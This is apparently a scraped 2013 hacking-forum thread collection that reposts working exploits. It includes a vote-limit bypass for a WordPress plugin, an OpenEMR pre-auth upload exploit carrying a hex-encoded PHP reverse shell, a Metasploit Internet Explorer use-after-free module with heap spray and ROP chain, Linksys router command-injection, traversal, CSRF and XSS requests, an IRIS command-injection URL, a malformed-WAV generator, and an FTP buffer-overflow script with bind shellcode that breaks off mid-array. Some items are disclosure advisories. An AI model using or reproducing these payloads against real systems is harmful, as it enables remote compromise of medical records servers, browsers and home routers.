48         $ip = getenv("HTTP_X_FORWARDED_FOR") ? getenv("HTTP_X_FORWARDED_FOR") : getenv("REMOTE_ADDR");
49         if(strstr($row['ck_ips'], $ip)) {
50            // die('error|You have already voted on this item!');
51            // Just don't count duplicated votes
52            $duplicated = 1;
53            $ck_ips = $row['ck_ips'];
54         }
  
Later made a UPDATE without filter the input.
------------------------------------------------------------------------
77         $query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips  . "' WHERE ck_comment_id = $k_id";
  
  
Now for bypass the vote limitation, we just have to add the HTTP_X_FORWARDED_FOR header and change it once per request.
  
A simple POC is made in php.
  
<?PHP
  
define('HOST','http://localhost/wordpress/');
define('IDCOMMENT',2);
$url=parse_url(HOST);
define('URL',$url['path'].'wp-content/plugins/comment-rating/ck-processkarma.php?id='.IDCOMMENT.'&action=add&path=a&imgIndex=1_14_');
for($i=0;$i<1;$i++) lvlup();
  
function lvlup(){
    global $url;
    $header = "GET ".URL." HTTP/1.1 \r\n";
    $header.= "Host: ".$url['host']."\r\n";
    $header.= "Accept-Encoding: gzip, deflate \r\n";
    $header.= "X-Forwarded-For: ".long2ip(rand(0, "4294967295"))."\r\n";
    $header.= "Connection: close \r\n\r\n";
    $socket  = socket_create(AF_INET, SOCK_STREAM,  SOL_TCP);
    socket_connect($socket,$url['host'], 80);
    socket_write($socket, $header);
    socket_close($socket);
}
  
?>
OpenEMR 4.1.1 Shell Upload
ID: 67686ba3b4103b69df379da1
Thread ID: 23916
Created: 2013-02-14T08:59:38+0000
Last Post: 2013-02-14T08:59:38+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

OpenEMR version 4.1.1 suffers from an arbitrary file upload vulnerability in ofc_upload_image.php. Included is an exploit that triggers a reverse shell.

Click to expand...

Code:Copy to clipboard

<?php

/*

OpenEMR 4.1.1 (ofc_upload_image.php) Arbitrary File Upload Vulnerability


Vendor: OpenEMR
Product web page: http://www.open-emr.org
Affected version: 4.1.1

Summary: OpenEMR is a Free and Open Source electronic health records and medical
practice management application that can run on Windows, Linux, Mac OS X, and many
other platforms.

Desc: The vulnerability is caused due to the improper verification of uploaded
files in '/library/openflashchart/php-ofc-library/ofc_upload_image.php' script
thru the 'name' parameter. This can be exploited to execute arbitrary PHP code
by uploading a malicious PHP script with multiple extensions.

================================================================================
/library/openflashchart/php-ofc-library/ofc_upload_image.php:
-------------------------------------------------------------

21: $default_path = '../tmp-upload-images/';
23: if (!file_exists($default_path)) mkdir($default_path, 0777, true);
26: $destination = $default_path . basename( $_GET[ 'name' ] );
28: echo 'Saving your image to: '. $destination;
39: $jfh = fopen($destination, 'w') or die("can't open file");
40: fwrite($jfh, $HTTP_RAW_POST_DATA);
41: fclose($jfh);
46: exit();

================================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Fedora Linux
           Apache2, PHP 5.4 MySQL 5.5


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5126
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php


09.02.2013

*/


error_reporting(0);
set_time_limit(0);

$go = "\033[0;92m"; $no = "\033[0;37m";
echo $no;

$host = $argv[1];

$sock = fsockopen($host, 80, $errno, $errstr, 30);

if(!$sock)
{
    echo "\n> $errstr ($errno)\n";
    die();
}

function r_shell($sc)
{
    for($z = 0; $z < strlen($sc); $z += 2)
    $exec .= chr(hexdec(substr($sc,$z,2)));
    return $exec;
}

print "\n+--------------------------------------------------------+";
print "\n+                                                        +";
print "\n+ OpenEMR 4.1.1 Remote Reverse Shell Exploit (pre-auth)  +";
print "\n+                                                        +";
print "\n+                   ID: ZSL-2013-5126                    +";
print "\n+                                                        +";
print "\n+          Copyleft (c) 2013, Zero Science Lab           +";
print "\n+                                                        +";
print "\n+--------------------------------------------------------+\n\n";

// PoC for Linux
// Before running this script, listen on 127.0.0.1: nc -vv -n -l -p 1234

if ($argc < 2)
{
    print "\n> Usage: php $argv[0] <target>\n\n";
    die();
}


$pl = r_shell("3c3f7068700d0a".              "7365745f74696d".              "655f6c696d6974".
              "202830293b0d0a".              "246970203d2027".              "3132372e302e30".
              "2e31273b0d0a24".              "706f7274203d20".              "313233343b0d0a".
              "246368756e6b5f".              "73697a65203d20".              "313430303b0d0a".
              "2477726974655f".              "61203d206e756c".              "6c3b2024657272".
              "6f725f61203d20".              "6e756c6c3b0d0a".              "247368656c6c20".
              "3d2027756e616d".              "65202d613b2077".              "3b2069643b202f".
                             "62696e2f736820".              "2d69273b0d0a24".
                             "6461656d6f6e20".              "3d20303b202464".
                             "65627567203d20".              "303b0d0a696620".
                             "2866756e637469".              "6f6e5f65786973".
                             "7473282770636e".              "746c5f666f726b".
                             "272929207b0d0a".              "24706964203d20".
                             "70636e746c5f66".              "6f726b28293b0d".
              "0a696620282470".              "6964203d3d202d".              "3129207b0d0a70".
              "72696e74697428".              "224552524f523a".              "2043616e277420".
              "666f726b22293b".              "20657869742831".              "293b7d0d0a6966".
              "20282470696429".              "207b6578697428".              "30293b7d0d0a69".
              "662028706f7369".              "785f7365747369".              "642829203d3d20".
              "2d3129207b0d0a".              "7072696e746974".              "28224572726f72".
              "3a2043616e2774".              "20736574736964".              "282922293b2065".
                             "7869742831293b".              "7d0d0a24646165".
                             "6d6f6e203d2031".              "3b7d20656c7365".
                             "207b0d0a707269".              "6e746974282257".
                             "41524e494e473a".              "204661696c6564".
                             "20746f20646165".              "6d6f6e6973652e".
                             "20205468697320".              "69732071756974".
                             "6520636f6d6d6f".              "6e20616e64206e".
              "6f742066617461".              "6c2e22293b7d0d".              "0a636864697228".
              "222f22293b2075".              "6d61736b283029".              "3b0d0a24736f63".
              "6b203d2066736f".              "636b6f70656e28".              "2469702c202470".
              "6f72742c202465".              "72726e6f2c2024".              "6572727374722c".
              "203330293b0d0a".              "69662028212473".              "6f636b29207b0d".
              "0a7072696e7469".              "74282224657272".              "73747220282465".
              "72726e6f292229".              "3b206578697428".              "31293b7d0d0a24".

              "64657363726970746f7273706563203d206172726179280d0a30203d3e206172726179282270".
              "697065222c20227222292c0d0a31203d3e206172726179282270697065222c20227722292c0d".
              "0a32203d3e206172726179282270697065222c2022772229293b0d0a2470726f63657373203d".
              "2070726f635f6f70656e28247368656c6c2c202464657363726970746f72737065632c202470".
              "69706573293b0d0a696620282169735f7265736f75726365282470726f636573732929207b0d".
              "0a7072696e74697428224552524f523a2043616e277420737061776e207368656c6c22293b0d".
              "0a657869742831293b7d0d0a73747265616d5f7365745f626c6f636b696e6728247069706573".
              "5b305d2c2030293b0d0a73747265616d5f7365745f626c6f636b696e67282470697065735b31".
              "5d2c2030293b0d0a73747265616d5f7365745f626c6f636b696e67282470697065735b325d2c".
              "2030293b0d0a73747265616d5f7365745f626c6f636b696e672824736f636b2c2030293b0d0a".
              "7072696e74697428225375636365737366756c6c79206f70656e656420726576657273652073".
              "68656c6c20746f202469703a24706f727422293b0d0a7768696c6520283129207b0d0a696620".
              "2866656f662824736f636b2929207b0d0a7072696e74697428224552524f523a205368656c6c".
              "20636f6e6e656374696f6e207465726d696e6174656422293b20627265616b3b7d0d0a696620".
              "2866656f66282470697065735b315d2929207b0d0a7072696e74697428224552524f523a2053".
              "68656c6c2070726f63657373207465726d696e6174656422293b20627265616b3b7d0d0a2472".
              "6561645f61203d2061727261792824736f636b2c202470697065735b315d2c20247069706573".
              "5b325d293b0d0a246e756d5f6368616e6765645f736f636b657473203d2073747265616d5f73".
              "656c6563742824726561645f612c202477726974655f612c20246572726f725f612c206e756c".
              "6c293b0d0a69662028696e5f61727261792824736f636b2c2024726561645f612929207b0d0a".
              "6966202824646562756729207072696e7469742822534f434b205245414422293b0d0a24696e".
              "707574203d2066726561642824736f636b2c20246368756e6b5f73697a65293b0d0a69662028".
              "24646562756729207072696e7469742822534f434b3a2024696e70757422293b0d0a66777269".
              "7465282470697065735b305d2c2024696e707574293b7d0d0a69662028696e5f617272617928".
              "2470697065735b315d2c2024726561645f612929207b0d0a6966202824646562756729207072".
              "696e74697428225354444f5554205245414422293b0d0a24696e707574203d20667265616428".
              "2470697065735b315d2c20246368756e6b5f73697a65293b0d0a696620282464656275672920".
              "7072696e74697428225354444f55543a2024696e70757422293b0d0a6677726974652824736f".
              "636b2c2024696e707574293b7d0d0a69662028696e5f6172726179282470697065735b325d2c".
              "2024726561645f612929207b0d0a6966202824646562756729207072696e7469742822535444".
              "455252205245414422293b0d0a24696e707574203d206672656164282470697065735b325d2c".
              "20246368756e6b5f73697a65293b0d0a6966202824646562756729207072696e746974282253".
              "54444552523a2024696e70757422293b0d0a6677726974652824736f636b2c2024696e707574".
              "293b7d7d0d0a66636c6f73652824736f636b293b0d0a66636c6f7365282470697065735b305d".
              "293b0d0a66636c6f7365282470697065735b315d293b0d0a66636c6f7365282470697065735b".
              "325d293b0d0a70726f635f636c6f7365282470726f63657373293b0d0a66756e6374696f6e20".
              "7072696e746974202824737472696e6729207b0d0a6966202821246461656d6f6e29207b2070".
              "72696e74202224737472696e675c6e223b7d7d0d0a3f3e"); //PHP Reverse Shell, PTMNKY.


echo "\n> Writing reverse shell file";

$pckt  = "POST /openemr/library/openflashchart/php-ofc-library/ofc_upload_image.php?name=joxypoxy.php HTTP/1.1\r\n";
$pckt .= "Host: {$host}\r\n";
$pckt .= "Content-Length: ".strlen($pl)."\r\n\r\n{$pl}";

fputs($sock, $pckt);

sleep (2);
print " ...."; echo $go."[OK]"; echo $no;

echo "\n> Calling your listener";

$pckt  = "GET /openemr/library/openflashchart/tmp-upload-images/joxypoxy.php HTTP/1.0\r\n";
$pckt .= "Host: {$host}\r\n";
$pckt .= "Connection: Keep-Alive\r\n\r\n";

fputs($sock, $pckt);

sleep (2);
print " ........."; echo $go."[OK]"; echo $no."\n";

// interact_sh();
echo "\n> Enjoy!\n\n";

?>
MS13-009 ie8 SLayoutRun uaf
ID: 67686ba3b4103b69df379da2
Thread ID: 23913
Created: 2013-02-13T18:17:56+0000
Last Post: 2013-02-13T18:17:56+0000
Author: el-
Prefix: Remote
Replies: 0 Views: 1K

[https://docs.google.com/viewer?url=http://w...youtrun_uaf.pdf](https://docs.google.com/viewer?url=http://www.security- assessment.com/files/documents/advisory/ms13_009_ie_slayoutrun_uaf.pdf)
[http://www.security- assessment.com/files/d...ayoutrun_uaf.rb](http://www.security- assessment.com/files/documents/advisory/ms13_009_ie_slayoutrun_uaf.rb)

Code:Copy to clipboard

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb


	def initialize(info={})
  super(update_info(info,
  	'Name'    => "Microsoft Internet Explorer SLayoutRun Use-After-Free",
  	'Description'   => %q{
    This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
    where a CParaElement node is released but a reference is still kept
    in CDoc. This memory is reused when a CDoc relayout is performed.
  	},
  	'License'   => MSF_LICENSE,
  	'Author'   =>
    [
    	'Scott Bell <scott.bell@security-assessment.com>',  # Vulnerability discovery & Metasploit module
    ],
  	'References'   =>
    [
    	[ 'CVE', '2013-0025' ],
    	[ 'MSB', 'MS13-009' ],
    	[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ],
    ],
  	'Payload'   =>
    {
    	'BadChars'  => "\x00",
    	'Space'  	=> 1024,
    	'DisableNops'  => true,
    	'PrependEncoder'	=> "\x81\xc4\x54\xf2\xff\xff",
    },
  	'DefaultOptions'  =>
    {
    	'InitialAutoRunScript' => 'migrate -f'
    },
  	'Platform'   => 'win',
  	'Targets'   =>
    [
    	[ 'Automatic', {} ],
    	[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
    ],
  	'Privileged'   => false,
  	'DisclosureDate'  => "Feb 13 2013",
  	'DefaultTarget'   => 0))

  register_options(
  	[
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
  	], self.class)

	end

	def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
  ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

  ie_name = "IE #{ie}"

  case nt
  when '5.1'
  	os_name = 'Windows XP SP3'
  end

  targets.each do |t|
  	if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
    print_status("Target selected as: #{t.name}")
    return t
  	end
  end

  return nil
	end

	def heap_spray(my_target, p)
  js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
  js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

  js = %Q|

  	var heap_obj = new heapLib.ie(0x20000);
  	var code = unescape("#{js_code}");
  	var nops = unescape("#{js_nops}");
  	while (nops.length < 0x80000) nops += nops;
  	var offset = nops.substring(0, #{my_target['Offset']});
  	var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  	while (shellcode.length < 0x40000) shellcode += shellcode;
  	var block = shellcode.substring(0, (0x80000-6)/2);
  	heap_obj.gc();
  	for (var i=1; i < 0x300; i++) {
    heap_obj.alloc(block);
  	}
  	var overflow = nops.substring(0, 10);

  |

  js = heaplib(js, {:noobfu => true})

  if datastore['OBFUSCATE']
  	js = ::Rex::Exploitation::JSObfu.new(js)
  	js.obfuscate

  end

  return js
	end

	def get_payload(t, cli)
  code = payload.encoded

  # No rop. Just return the payload.
  return code if t['Rop'].nil?

  # ROP chain generated by mona.py - See corelan.be
  case t['Rop']
  when :msvcrt
  	print_status("Using msvcrt ROP")
  	rop_nops = [0x77c39f92].pack("V") * 11 # RETN
  	rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
  	rop_payload << rop_nops
  	rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
  	rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
  	rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
  	rop_payload << [0x77c39f92].pack("V") # RETN
  	rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
  	rop_payload << code

  end

  return rop_payload
	end

	def this_resource
  r = get_resource
  return ( r == '/') ? '' : r
	end

	def get_exploit(my_target, cli)
  p  = get_payload(my_target, cli)
  js = heap_spray(my_target, p)


  html = %Q|
  <!doctype html>
  <html>
  <head>
  <script>
  var data
  var objArray = new Array(1800);
  #{js}

  setTimeout(function(){
  	for (var i=0;i<objArray.length;i++){
    objArray[i] = document.createElement('body');
    document.body.appendChild(objArray[i])
    objArray[i].style.display = "none"
  	}

  	document.body.style.whiteSpace = "pre-line"

  	for(var i=0;i<10;i++){
    for (var i=0;i<(objArray.length-650);i++){
    	objArray[i].className = data += unescape("%u0c0c%u0c0c");
    }
  	}

  	setTimeout(function(){document.body.innerHTML = "boo"}, 100)
  }, 100)

  </script>
  </head>
  <body>
  <p> </p>
  </body>
  </html>
  |

  return html
	end


	def get_iframe
  html = %Q|
  <html>
  <body>
  <iframe src="#{this_resource}/#{@iframe_name}" height="1" width="1"></iframe>
  </body>
  </html>
  |

  return html
	end


	def on_request_uri(cli, request)
  agent = request.headers['User-Agent']
  uri   = request.uri
  print_status("Requesting: #{uri}")

  my_target = get_target(agent)
  # Avoid the attack if no suitable target found
  if my_target.nil?
  	print_error("Browser not supported, sending 404: #{agent}")
  	send_not_found(cli)
  	return
  end


  if uri =~ /#{@iframe_name}/
  	html = get_exploit(my_target, cli)
  	html = html.gsub(/^\t\t/, '')
  	print_status("Sending HTML...")
  elsif	uri=~ /\/$/
  	html = get_iframe
  	print_status "Sending IFRAME..."
  end
  	send_response(cli, html, {'Content-Type'=>'text/html'})


	end

	def exploit
  @iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html"
  super
	end
end
Microsoft Windows Movie Maker 5.1
ID: 67686ba3b4103b69df379da3
Thread ID: 23903
Created: 2013-02-12T05:41:24+0000
Last Post: 2013-02-13T15:33:26+0000
Author: DarckSol
Prefix: DoS
Replies: 3 Views: 1K

Code:Copy to clipboard

# Title : Microsoft Wuindows Movie Maker 5.1 Memory Corruption
# Date: 2013-01-12
# Software Link: http://windows.microsoft.com/fr-CH/windows-live/movie-maker-get-started
# phone : +447024073406
# Author: The Black Devils
# Tested on: Windows XP SP2
# Home: www.arab47.com
# Greeting To :All Arab47 memberz/ 3xp1r3 Cyber Army / Newbie3viLc063s / Inj3ct0r Team
# Special Thanks To : r0073r - sH3LL05Dz -KedAns-Dz - IshakDz - Èlite TrØjan - All Dz hackerz
 
 
#Error Signature :
 
#szAppName : moviemk.exe     szAppVer : 2.1.4026.0     szModName : hungapp    
#szModVer : 0.0.0.0     offset : 00000000    
    
 
#EventType : BEX     P1 : drwtsn32.exe     P2 : 5.1.2600.0     P3 : 3b7d84a2
#P4 : dbghelp.dll     P5 : 5.1.2600.2180     P6 : 411095dd     P7 : 0001295d
#P8 : c0000409     P9 : 00000000     
 
 
 
#!/usr/bin/perl
system("title The Black Devils");
system("color 1e");
system("cls");
print "\n\n";                
print "    |=======================================================|\n";
print "    |= [!] Name : Wuindows Movie Maker 5.1 ||.wav          =|\n";
print "    |= [!] Exploit : Memory Corruption                     =|\n";
print "    |= [!] Author  : The Black Devils                      =|\n";
print "    |= [!] Mail: mr.k4rizma(at)gmail(dot)com               =|\n";
print "    |=======================================================|\n";
sleep(2);
print "\n";
# Creating ...
my $PoC = 
"\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01".
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E".
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22".
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x66\x66\x66\x00";
open(file , ">", "inj3ctor.wav"); # Evil File wav
print file $PoC;
print "\n [+] File successfully created!\n" or die print "\n [-] OupsS! File is Not Created !! ";
close(file);
 
#-----------
#Contact:
# Youtube  : www.youtube.com/user/Th3BlackDevils
# Facebook : www.facebook.com/DevilsDz
# Email    : mr.k4rizma@gmail.com
 
# ADEE88605F87E1F2   1337day.com [2013-02-12]   22E83814E2509FF9 #
Linksys E1500/E2500 - Multiple Vulnerabilities
ID: 67686ba3b4103b69df379da4
Thread ID: 23908
Created: 2013-02-12T06:42:54+0000
Last Post: 2013-02-12T06:42:54+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Device Name: Linksys E1500 / E2500
Vendor: Linksys

============ Device Description: ============

The Linksys E1500 is a Wireless-N Router with SpeedBoost. It lets you access the Internet via a wireless connection or through one of its four switched ports. You can also use the Linksys E1500 to share resources, such as computers, printers and files.

The installation and use of the Linksys E1500 is easy with Cisco Connect, the software that is installed when you run the Setup CD. Likewise, advanced configuration of the Linksys E1500 is available through its web-based setup page.

Source: http://homekb.cisco.com/Cisco2/ukp.aspx?pi...login=1&json=...

============ Vulnerable Firmware Releases - e1500: ============

Firmware-Version: v1.0.00 - build 9 Feb. 17, 2011
Firmware-Version: v1.0.04 - build 2 Mär. 8, 2012
Firmware-Version: v1.0.05 - build 1 Aug. 23, 2012

============ Vulnerable Firmware Releases - e2500: ============

Firmware Version: v1.0.03 (only tested for known OS command injection)

Other versions may also be affected.

============ Shodan Torks ============

Shodan Search: linksys e1500
Shodan Search: linksys e2500

============ Vulnerability Overview: ============

  • OS Command Injection / E1500 and E2500 v1.0.03

=> Parameter: ping_size=%26ping%20192%2e168%2e178%2e102%26

The vulnerability is caused by missing input validation in the ping_size parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to start a telnetd or upload and execute a backdoor to compromise the device.
You need to be authenticated to the device or you have to find other methods for inserting the malicious commands.

Example Exploit:
POST /apply.cgi HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.199/Diagnostics.asp
Authorization: Basic xxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 185
Connection: close

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=%26ping%20192%2e168%2e178%2e102%26&ping_times=5&traceroute_ip=

Change the request methode from HTTP Post to HTTP GET makes the exploitation easier:

http://192.168.178.199/apply.cgi?submit_bu...&traceroute_ip=

Screenshot: [http://www.s3cur1ty.de/sites/www.s3cur1ty....0.05-rooted.png](http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/E1500-os- command-injection-1.0.05-rooted.png)

  • Directory traversal - tested on E1500:

=> parameter: next_page

Access local files of the device. You need to be authenticated or you have to find other methods for accessing the device.

Request:
POST /apply.cgi HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.199/Wireless_Basic.asp
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-Length: 75

submit_type=wsc_method2&change_action=gozila_cgi&next_page=../../proc/version

Response:
HTTP/1.1 200 Ok
Server: httpd
Date: Thu, 01 Jan 1970 00:00:29 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html
Connection: close

Linux version 2.6.22 (cjc@t.sw3) (gcc version 4.2.3) #10 Thu Aug 23 11:16:42 HKT 2012

Screenshot: [http://www.s3cur1ty.de/sites/www.s3cur1ty....r-traversal.png](http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/E1500-dir- traversal.png)

  • For changing the current password there is no request of the current password - tested on E1500

With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.

Example Request:
POST /apply.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.1.1/Management.asp
Authorization: Basic xxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 311

submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4&need_reboot=0&http_passwd=admin&http_passwdConfirm=admin&_http_enable=1&web_wl_filter=0&remote_management=0&nf_alg_sip=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0

  • CSRF for changing the password without knowing the current one and the attacker is able to activate the remote management - tested on E1500:

http:///apply.cgi?submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4&need_reboot=0&http_passwd=password1&http_passwdConfirm=password1&_http_enable=1&web_wl_filter=0&remote_management=1&_remote_mgt_https=1&remote_upgrade=0&remote_ip_any=1&http_wanport=8080&nf_alg_sip=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0

  • Reflected Cross Site Scripting - tested on E1500

=> Parameter: wait_time=3'%3balert('pwnd')//

Injecting scripts into the parameter wait_time reveals that this parameter is not properly validated for malicious input.

Example Exploit:
POST /apply.cgi HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.199/Wireless_Basic.asp
Authorization: Basic xxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 300

submit_button=Wireless_Basic&action=Apply&submit_type=&change_action=&next_page=&commit=1&wl0_nctrlsb=none&channel_24g=0&nbw_24g=20&wait_time=3'%3balert('pwnd')//&guest_ssid=Cisco- guest&wsc_security_mode=&wsc_smode=1&net_mode_24g=mixed&ssid_24g=Cisco&_wl0_nbw=20&_wl0_channel=0&closed_24g=0

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty....s/E1500-XSS.png

  • Redirection - tested on E1500

=> Paramter: submit_button=http://www.pwnd.pwnd%0a

Injecting URLs into the parameter submit_button reveals that this parameter is not properly validated for malicious input.

Example Exploit:
POST /apply.cgi HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.199/Wireless_Basic.asp
Authorization: Basic xxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 290

submit_button=http://www.pwnd.pwnd%0a&action=Apply&submit_type=&change_action=&next_page=&commit=1&wl0_nctrlsb=none&channel_24g=0&nbw_24g=20&wait_time=3&guest_ssid=Cisco01589-guest&wsc_security_mode=&wsc_smode=1&net_mode_24g=mixed&ssid_24g=Cisco01589&_wl0_nbw=20&_wl0_channel=0&closed_24g=0

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty....00-redirect.png

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de
Advisory URL: http://www.s3cur1ty.de/m1adv2013-004
Twitter: @s3cur1ty_de

============ Time Line: ============

October 2012 - discovered vulnerability
21.10.2012 - contacted Linksys with vulnerability details
23.10.2012 - Linksys requestet to check new firmware v1.0.05 build 1
27.10.2012 - Tested and verified all vulnerabilities in release v1.0.05 build 1
27.10.2012 - contacted Linksys with vulnerabilty details in release v1.0.05 build 1
29.10.2012 - Linksys responded with case number
13.11.2012 - /me requested update of the progress
15.11.2012 - Linksys sends Beta Agreement
16.11.2012 - Linksys sends the Beta Firmware for testing
16.11.2012 - tested Beta version
18.11.2012 - informed Linksys about the results
30.11.2012 - reported the same OS Command injection vulnerability in model E2500
10.12.2012 - /me requested update of the progress
23.12.2012 - Update to Linksys with directory traversal vulnerability
09.01.2013 - Case closed
05.02.2013 - public release

===================== Advisory end =====================

Click to expand...

IRIS Citations Management Tool Command Execution
ID: 67686ba3b4103b69df379da5
Thread ID: 23906
Created: 2013-02-12T06:31:22+0000
Last Post: 2013-02-12T06:31:22+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

IRIS Citations management tool suffers from a remote command execution vulnerability.

Click to expand...

A vulnerability exists in IRIS citations management tool which allows a low privileged attacker to execute arbitrary commands.

Details can be found on my blog:
[https://infosecabsurdity.wordpress.com/2013...mand- execution/](https://infosecabsurdity.wordpress.com/2013/02/09/iris- citations-management-tool-post-auth-remote-command-execution/)

PoC:

http://[target]/[path]/index.php?p=add&import=spnro&code=a"+-T+0.1+||echo+id+>+/tmp/luls||"

~ aeon

Click to expand...

FreeFloat FTP 1.0 Raw Commands Buffer Overflow
ID: 67686ba3b4103b69df379da6
Thread ID: 23901
Created: 2013-02-12T05:24:41+0000
Last Post: 2013-02-12T05:24:41+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Code:Copy to clipboard

import socket, struct, sys
  
if len(sys.argv) < 3:
    print "usage: %s IP port" % (sys.argv[0])
    sys.exit(0)
  
ip = sys.argv[1]
port = int(sys.argv[2])
  
# Bind shellcode generated with msfvenom:
#     msfvenom -p windows/shell_bind_tcp
#         -b "\x00\x0a\x0b\x27\x36\xce\xc1\x04\x14\x3a\x44\xe0\x42\xa9\x0d"
#         -e x86/fnstenv_mov
#
# [*] x86/fnstenv_mov succeeded with size 366 (iteration=1)
shellcode = (
"\x6a\x56\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc8" +
"\x4c\xab\x8c\x83\xeb\xfc\xe2\xf4\x34\xa4\x22\x8c\xc8\x4c" +
"\xcb\x05\x2d\x7d\x79\xe8\x43\x1e\x9b\x07\x9a\x40\x20\xde" +
"\xdc\xc7\xd9\xa4\xc7\xfb\xe1\xaa\xf9\xb3\x9a\x4c\x64\x70" +
"\xca\xf0\xca\x60\x8b\x4d\x07\x41\xaa\x4b\x2a\xbc\xf9\xdb" +
